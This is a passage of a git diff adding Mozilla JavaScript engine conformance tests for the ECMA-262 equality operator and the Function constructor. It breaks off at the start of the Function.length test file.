+ 2. Call GetValue(Result(1)).
+ 3. Evaluate RelationalExpression.
+ 4. Call GetValue(Result(3)).
+ 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3)
+ 6. Return Result(5).
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.9.3";
+var VERSION = "ECMA_1";
+var BUGNUMBER="77391";
+startTest();
+
+writeHeaderToLog( SECTION + " The equals operator ( == )");
+
+// type x and type y are the same. if type x is undefined or null, return true
+
+new TestCase( SECTION, "void 0 = void 0", true, void 0 == void 0 );
+new TestCase( SECTION, "null == null", true, null == null );
+
+// if x is NaN, return false. if y is NaN, return false.
+
+new TestCase( SECTION, "NaN == NaN", false, Number.NaN == Number.NaN );
+new TestCase( SECTION, "NaN == 0", false, Number.NaN == 0 );
+new TestCase( SECTION, "0 == NaN", false, 0 == Number.NaN );
+new TestCase( SECTION, "NaN == Infinity", false, Number.NaN == Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Infinity == NaN", false, Number.POSITIVE_INFINITY == Number.NaN );
+
+// if x is the same number value as y, return true.
+
+new TestCase( SECTION, "Number.MAX_VALUE == Number.MAX_VALUE", true, Number.MAX_VALUE == Number.MAX_VALUE );
+new TestCase( SECTION, "Number.MIN_VALUE == Number.MIN_VALUE", true, Number.MIN_VALUE == Number.MIN_VALUE );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY", true, Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY", true, Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY );
+
+// if xis 0 and y is -0, return true. if x is -0 and y is 0, return true.
+
+new TestCase( SECTION, "0 == 0", true, 0 == 0 );
+new TestCase( SECTION, "0 == -0", true, 0 == -0 );
+new TestCase( SECTION, "-0 == 0", true, -0 == 0 );
+new TestCase( SECTION, "-0 == -0", true, -0 == -0 );
+
+// return false.
+
+new TestCase( SECTION, "0.9 == 1", false, 0.9 == 1 );
+new TestCase( SECTION, "0.999999 == 1", false, 0.999999 == 1 );
+new TestCase( SECTION, "0.9999999999 == 1", false, 0.9999999999 == 1 );
+new TestCase( SECTION, "0.9999999999999 == 1", false, 0.9999999999999 == 1 );
+
+// type x and type y are the same type, but not numbers.
+
+
+// x and y are strings. return true if x and y are exactly the same sequence of characters.
+// otherwise, return false.
+
+new TestCase( SECTION, "'hello' == 'hello'", true, "hello" == "hello" );
+
+// x and y are booleans. return true if both are true or both are false.
+
+new TestCase( SECTION, "true == true", true, true == true );
+new TestCase( SECTION, "false == false", true, false == false );
+new TestCase( SECTION, "true == false", false, true == false );
+new TestCase( SECTION, "false == true", false, false == true );
+
+// return true if x and y refer to the same object. otherwise return false.
+
+new TestCase( SECTION, "new MyObject(true) == new MyObject(true)", false, new MyObject(true) == new MyObject(true) );
+new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) );
+
+
+new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z == y", true, eval("x = new MyObject(true); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z == y", true, eval("x = new MyObject(false); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z == y", true, eval("x = new Boolean(true); y = x; z = x; z == y") );
+new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z == y", true, eval("x = new Boolean(false); y = x; z = x; z == y") );
+
+new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) );
+new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) );
+
+// if x is null and y is undefined, return true. if x is undefined and y is null return true.
+
+new TestCase( SECTION, "null == void 0", true, null == void 0 );
+new TestCase( SECTION, "void 0 == null", true, void 0 == null );
+
+// if type(x) is Number and type(y) is string, return the result of the comparison x == ToNumber(y).
+
+new TestCase( SECTION, "1 == '1'", true, 1 == '1' );
+new TestCase( SECTION, "255 == '0xff'", true, 255 == '0xff' );
+new TestCase( SECTION, "0 == '\r'", true, 0 == "\r" );
+new TestCase( SECTION, "1e19 == '1e19'", true, 1e19 == "1e19" );
+
+
+new TestCase( SECTION, "new Boolean(true) == true", true, true == new Boolean(true) );
+new TestCase( SECTION, "new MyObject(true) == true", true, true == new MyObject(true) );
+
+new TestCase( SECTION, "new Boolean(false) == false", true, new Boolean(false) == false );
+new TestCase( SECTION, "new MyObject(false) == false", true, new MyObject(false) == false );
+
+new TestCase( SECTION, "true == new Boolean(true)", true, true == new Boolean(true) );
+new TestCase( SECTION, "true == new MyObject(true)", true, true == new MyObject(true) );
+
+new TestCase( SECTION, "false == new Boolean(false)", true, false == new Boolean(false) );
+new TestCase( SECTION, "false == new MyObject(false)", true, false == new MyObject(false) );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/Expressions/browser.js b/js/src/tests/ecma/Expressions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/browser.js
diff --git a/js/src/tests/ecma/Expressions/shell.js b/js/src/tests/ecma/Expressions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/shell.js
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.1.1-1.js b/js/src/tests/ecma/FunctionObjects/15.3.1.1-1.js
new file mode 100644
index 000000000..62d66cbc9
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.1.1-1.js
@@ -0,0 +1,102 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.1.1.js
+ ECMA Section: 15.3.1.1 The Function Constructor Called as a Function
+
+ Description:
+ When the Function function is called with some arguments p1, p2, . . . , pn, body
+ (where n might be 0, that is, there are no "p" arguments, and where body might
+ also not be provided), the following steps are taken:
+
+ 1. Create and return a new Function object exactly if the function constructor had
+ been called with the same arguments (15.3.2.1).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.1.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MyObject = Function( "value", "this.value = value; this.valueOf = Function( 'return this.value' ); this.toString = Function( 'return String(this.value);' )" );
+
+
+var myfunc = Function();
+myfunc.toString = Object.prototype.toString;
+
+// not going to test toString here since it is implementation dependent.
+// new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() );
+
+myfunc.toString = Object.prototype.toString;
+new TestCase( SECTION,
+ "myfunc = Function(); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc.toString() );
+
+new TestCase( SECTION,
+ "myfunc.length",
+ 0,
+ myfunc.length );
+
+new TestCase( SECTION,
+ "myfunc.prototype.toString()",
+ "[object Object]",
+ myfunc.prototype.toString() );
+
+new TestCase( SECTION,
+ "myfunc.prototype.constructor",
+ myfunc,
+ myfunc.prototype.constructor );
+
+new TestCase( SECTION,
+ "myfunc.arguments",
+ null,
+ myfunc.arguments );
+
+new TestCase( SECTION,
+ "var OBJ = new MyObject(true); OBJ.valueOf()",
+ true,
+ eval("var OBJ = new MyObject(true); OBJ.valueOf()") );
+
+new TestCase( SECTION,
+ "OBJ.toString()",
+ "true",
+ OBJ.toString() );
+
+new TestCase( SECTION,
+ "OBJ.toString = Object.prototype.toString; OBJ.toString()",
+ "[object Object]",
+ eval("OBJ.toString = Object.prototype.toString; OBJ.toString()") );
+
+new TestCase( SECTION,
+ "MyObject.toString = Object.prototype.toString; MyObject.toString()",
+ "[object Function]",
+ eval("MyObject.toString = Object.prototype.toString; MyObject.toString()") );
+
+new TestCase( SECTION,
+ "MyObject.length",
+ 1,
+ MyObject.length );
+
+new TestCase( SECTION,
+ "MyObject.prototype.constructor",
+ MyObject,
+ MyObject.prototype.constructor );
+
+new TestCase( SECTION,
+ "MyObject.arguments",
+ null,
+ MyObject.arguments );
+
+test();
+
+
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.1.1-2.js b/js/src/tests/ecma/FunctionObjects/15.3.1.1-2.js
new file mode 100644
index 000000000..1cea3c1cc
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.1.1-2.js
@@ -0,0 +1,149 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.1.1-2.js
+ ECMA Section: 15.3.1.1 The Function Constructor Called as a Function
+ Function(p1, p2, ..., pn, body )
+
+ Description:
+ When the Function function is called with some arguments p1, p2, . . . , pn,
+ body (where n might be 0, that is, there are no "p" arguments, and where body
+ might also not be provided), the following steps are taken:
+
+ 1. Create and return a new Function object exactly if the function constructor
+ had been called with the same arguments (15.3.2.1).
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.1.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var myfunc1 = Function("a","b","c", "return a+b+c" );
+var myfunc2 = Function("a, b, c", "return a+b+c" );
+var myfunc3 = Function("a,b", "c", "return a+b+c" );
+
+myfunc1.toString = Object.prototype.toString;
+myfunc2.toString = Object.prototype.toString;
+myfunc3.toString = Object.prototype.toString;
+
+new TestCase( SECTION,
+ "myfunc1 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc1.toString() );
+
+new TestCase( SECTION,
+ "myfunc1.length",
+ 3,
+ myfunc1.length );
+
+new TestCase( SECTION,
+ "myfunc1.prototype.toString()",
+ "[object Object]",
+ myfunc1.prototype.toString() );
+
+new TestCase( SECTION,
+ "myfunc1.prototype.constructor",
+ myfunc1,
+ myfunc1.prototype.constructor );
+
+new TestCase( SECTION,
+ "myfunc1.arguments",
+ null,
+ myfunc1.arguments );
+
+new TestCase( SECTION,
+ "myfunc1(1,2,3)",
+ 6,
+ myfunc1(1,2,3) );
+
+new TestCase( SECTION,
+ "var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS") );
+
+new TestCase( SECTION,
+ "myfunc2 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc2.toString() );
+
+new TestCase( SECTION,
+ "myfunc2.length",
+ 3,
+ myfunc2.length );
+
+new TestCase( SECTION,
+ "myfunc2.prototype.toString()",
+ "[object Object]",
+ myfunc2.prototype.toString() );
+
+new TestCase( SECTION,
+ "myfunc2.prototype.constructor",
+ myfunc2,
+ myfunc2.prototype.constructor );
+
+new TestCase( SECTION,
+ "myfunc2.arguments",
+ null,
+ myfunc2.arguments );
+
+new TestCase( SECTION,
+ "myfunc2( 1000, 200, 30 )",
+ 1230,
+ myfunc2(1000,200,30) );
+
+new TestCase( SECTION,
+ "var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS") );
+
+new TestCase( SECTION,
+ "myfunc3 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc3.toString() );
+
+new TestCase( SECTION,
+ "myfunc3.length",
+ 3,
+ myfunc3.length );
+
+new TestCase( SECTION,
+ "myfunc3.prototype.toString()",
+ "[object Object]",
+ myfunc3.prototype.toString() );
+
+new TestCase( SECTION,
+ "myfunc3.prototype.valueOf() +''",
+ "[object Object]",
+ myfunc3.prototype.valueOf() +'' );
+
+new TestCase( SECTION,
+ "myfunc3.prototype.constructor",
+ myfunc3,
+ myfunc3.prototype.constructor );
+
+new TestCase( SECTION,
+ "myfunc3.arguments",
+ null,
+ myfunc3.arguments );
+
+new TestCase( SECTION,
+ "myfunc3(-100,100,NaN)",
+ Number.NaN,
+ myfunc3(-100,100,NaN) );
+
+new TestCase( SECTION,
+ "var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS") );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.1.1-3.js b/js/src/tests/ecma/FunctionObjects/15.3.1.1-3.js
new file mode 100644
index 000000000..7c3e2b006
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.1.1-3.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.1.1-3.js
+ ECMA Section: 15.3.1.1 The Function Constructor Called as a Function
+
+ new Function(p1, p2, ..., pn, body )
+
+ Description: The last argument specifies the body (executable code)
+ of a function; any preceding arguments sepcify formal
+ parameters.
+
+ See the text for description of this section.
+
+ This test examples from the specification.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.1.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var args = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ args += "arg"+i;
+ if ( i != 1999 ) {
+ args += ",";
+ }
+}
+
+var s = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ s += ".0005";
+ if ( i != 1999 ) {
+ s += ",";
+ }
+}
+
+MyFunc = Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r");
+MyObject = Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };");
+
+var MY_OB = eval( "MyFunc("+ s +")" );
+
+new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length );
+new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, MY_OB );
+new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") );
+
+new TestCase( SECTION, "MyObject.length", 2000, MyObject.length );
+
+new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") );
+new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1()") );
+new TestCase( SECTION, "FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.2.1-1.js b/js/src/tests/ecma/FunctionObjects/15.3.2.1-1.js
new file mode 100644
index 000000000..2f3334fd8
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.2.1-1.js
@@ -0,0 +1,98 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.2.1.js
+ ECMA Section: 15.3.2.1 The Function Constructor
+ new Function(p1, p2, ..., pn, body )
+
+ Description: The last argument specifies the body (executable code)
+ of a function; any preceding arguments sepcify formal
+ parameters.
+
+ See the text for description of this section.
+
+ This test examples from the specification.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.2.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MyObject = new Function( "value", "this.value = value; this.valueOf = new Function( 'return this.value' ); this.toString = new Function( 'return String(this.value);' )" );
+
+var myfunc = new Function();
+
+// not going to test toString here since it is implementation dependent.
+// new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() );
+
+myfunc.toString = Object.prototype.toString;
+
+new TestCase( SECTION, "myfunc = new Function(); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc.toString() );
+
+new TestCase( SECTION,
+ "myfunc.length",
+ 0,
+ myfunc.length );
+
+new TestCase( SECTION,
+ "myfunc.prototype.toString()",
+ "[object Object]",
+ myfunc.prototype.toString() );
+
+new TestCase( SECTION,
+ "myfunc.prototype.constructor",
+ myfunc,
+ myfunc.prototype.constructor );
+
+new TestCase( SECTION,
+ "myfunc.arguments",
+ null,
+ myfunc.arguments );
+
+new TestCase( SECTION,
+ "var OBJ = new MyObject(true); OBJ.valueOf()",
+ true,
+ eval("var OBJ = new MyObject(true); OBJ.valueOf()") );
+
+new TestCase( SECTION,
+ "OBJ.toString()",
+ "true",
+ OBJ.toString() );
+
+new TestCase( SECTION,
+ "OBJ.toString = Object.prototype.toString; OBJ.toString()", "[object Object]",
+ eval("OBJ.toString = Object.prototype.toString; OBJ.toString()") );
+
+new TestCase( SECTION,
+ "MyObject.toString = Object.prototype.toString; MyObject.toString()",
+ "[object Function]",
+ eval("MyObject.toString = Object.prototype.toString; MyObject.toString()") );
+
+new TestCase( SECTION,
+ "MyObject.length",
+ 1,
+ MyObject.length );
+
+new TestCase( SECTION,
+ "MyObject.prototype.constructor",
+ MyObject,
+ MyObject.prototype.constructor );
+
+new TestCase( SECTION,
+ "MyObject.arguments",
+ null,
+ MyObject.arguments );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.2.1-2.js b/js/src/tests/ecma/FunctionObjects/15.3.2.1-2.js
new file mode 100644
index 000000000..7740480ab
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.2.1-2.js
@@ -0,0 +1,73 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.2.1.js
+ ECMA Section: 15.3.2.1 The Function Constructor
+ new Function(p1, p2, ..., pn, body )
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.2.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var myfunc1 = new Function("a","b","c", "return a+b+c" );
+var myfunc2 = new Function("a, b, c", "return a+b+c" );
+var myfunc3 = new Function("a,b", "c", "return a+b+c" );
+
+myfunc1.toString = Object.prototype.toString;
+myfunc2.toString = Object.prototype.toString;
+myfunc3.toString = Object.prototype.toString;
+
+new TestCase( SECTION, "myfunc1 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc1.toString() );
+
+new TestCase( SECTION, "myfunc1.length", 3, myfunc1.length );
+new TestCase( SECTION, "myfunc1.prototype.toString()", "[object Object]", myfunc1.prototype.toString() );
+
+new TestCase( SECTION, "myfunc1.prototype.constructor", myfunc1, myfunc1.prototype.constructor );
+new TestCase( SECTION, "myfunc1.arguments", null, myfunc1.arguments );
+new TestCase( SECTION, "myfunc1(1,2,3)", 6, myfunc1(1,2,3) );
+new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS") );
+
+new TestCase( SECTION, "myfunc2 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc2.toString() );
+new TestCase( SECTION, "myfunc2.length", 3, myfunc2.length );
+new TestCase( SECTION, "myfunc2.prototype.toString()", "[object Object]", myfunc2.prototype.toString() );
+
+new TestCase( SECTION, "myfunc2.prototype.constructor", myfunc2, myfunc2.prototype.constructor );
+new TestCase( SECTION, "myfunc2.arguments", null, myfunc2.arguments );
+new TestCase( SECTION, "myfunc2( 1000, 200, 30 )", 1230, myfunc2(1000,200,30) );
+new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS") );
+
+new TestCase( SECTION, "myfunc3 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()",
+ "[object Function]",
+ myfunc3.toString() );
+new TestCase( SECTION, "myfunc3.length", 3, myfunc3.length );
+new TestCase( SECTION, "myfunc3.prototype.toString()", "[object Object]", myfunc3.prototype.toString() );
+new TestCase( SECTION, "myfunc3.prototype.valueOf() +''", "[object Object]", myfunc3.prototype.valueOf() +'' );
+new TestCase( SECTION, "myfunc3.prototype.constructor", myfunc3, myfunc3.prototype.constructor );
+new TestCase( SECTION, "myfunc3.arguments", null, myfunc3.arguments );
+new TestCase( SECTION, "myfunc3(-100,100,NaN)", Number.NaN, myfunc3(-100,100,NaN) );
+
+new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS",
+ "",
+ eval("var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS") );
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.2.1-3.js b/js/src/tests/ecma/FunctionObjects/15.3.2.1-3.js
new file mode 100644
index 000000000..36860057d
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.2.1-3.js
@@ -0,0 +1,61 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.2.1-3.js
+ ECMA Section: 15.3.2.1 The Function Constructor
+ new Function(p1, p2, ..., pn, body )
+
+ Description: The last argument specifies the body (executable code)
+ of a function; any preceding arguments sepcify formal
+ parameters.
+
+ See the text for description of this section.
+
+ This test examples from the specification.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.2.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Function Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var args = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ args += "arg"+i;
+ if ( i != 1999 ) {
+ args += ",";
+ }
+}
+
+var s = "";
+
+for ( var i = 0; i < 2000; i++ ) {
+ s += ".0005";
+ if ( i != 1999 ) {
+ s += ",";
+ }
+}
+
+MyFunc = new Function( args, "var r=0; for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; else r += eval('arg'+i); }; return r");
+MyObject = new Function( args, "for (var i = 0; i < MyFunc.length; i++ ) { if ( eval('arg'+i) == void 0) break; eval('this.arg'+i +'=arg'+i); };");
+
+new TestCase( SECTION, "MyFunc.length", 2000, MyFunc.length );
+new TestCase( SECTION, "var MY_OB = eval('MyFunc(s)')", 1, eval("var MY_OB = MyFunc("+s+"); MY_OB") );
+
+new TestCase( SECTION, "MyObject.length", 2000, MyObject.length );
+
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1.length") );
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1()") );
+new TestCase( SECTION, "FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)", 3, eval("FUN1 = new Function( 'a','b','c', 'return FUN1.length' ); FUN1(1,2,3,4,5)") );
+
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.3.1-2.js b/js/src/tests/ecma/FunctionObjects/15.3.3.1-2.js
new file mode 100644
index 000000000..c3a3f26bf
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.3.1-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.3.1-2.js
+ ECMA Section: 15.3.3.1 Properties of the Function Constructor
+ Function.prototype
+
+ Description: The initial value of Function.prototype is the built-in
+ Function prototype object.
+
+ This property shall have the attributes [DontEnum |
+ DontDelete | ReadOnly]
+
+ This test the DontEnum property of Function.prototype.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var str='';for (prop in Function ) str += prop; str;",
+ "",
+ eval("var str='';for (prop in Function) str += prop; str;")
+ );
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.3.1-3.js b/js/src/tests/ecma/FunctionObjects/15.3.3.1-3.js
new file mode 100644
index 000000000..c11928753
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.3.1-3.js
@@ -0,0 +1,45 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.3.1-3.js
+ ECMA Section: 15.3.3.1 Properties of the Function Constructor
+ Function.prototype
+
+ Description: The initial value of Function.prototype is the built-in
+ Function prototype object.
+
+ This property shall have the attributes [DontEnum |
+ DontDelete | ReadOnly]
+
+ This test the DontDelete property of Function.prototype.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.3.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var FUN_PROTO = Function.prototype;
+
+new TestCase( SECTION,
+ "delete Function.prototype",
+ false,
+ delete Function.prototype
+ );
+
+new TestCase( SECTION,
+ "delete Function.prototype; Function.prototype",
+ FUN_PROTO,
+ eval("delete Function.prototype; Function.prototype")
+ );
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.3.1-4.js b/js/src/tests/ecma/FunctionObjects/15.3.3.1-4.js
new file mode 100644
index 000000000..3b5b64dc4
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.3.1-4.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.3.1-4.js
+ ECMA Section: 15.3.3.1 Properties of the Function Constructor
+ Function.prototype
+
+ Description: The initial value of Function.prototype is the built-in
+ Function prototype object.
+
+ This property shall have the attributes [DontEnum |
+ DontDelete | ReadOnly]
+
+ This test the ReadOnly property of Function.prototype.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.3.3.1-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Function.prototype = null; Function.prototype",
+ Function.prototype,
+ eval("Function.prototype = null; Function.prototype")
+ );
+test();
diff --git a/js/src/tests/ecma/FunctionObjects/15.3.3.2.js b/js/src/tests/ecma/FunctionObjects/15.3.3.2.js
new file mode 100644
index 000000000..d92463101
--- /dev/null
+++ b/js/src/tests/ecma/FunctionObjects/15.3.3.2.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.3.2.js
+ ECMA Section: 15.3.3.2 Properties of the Function Constructor
+ Function.length
+
+ Description: The length property is 1.
+
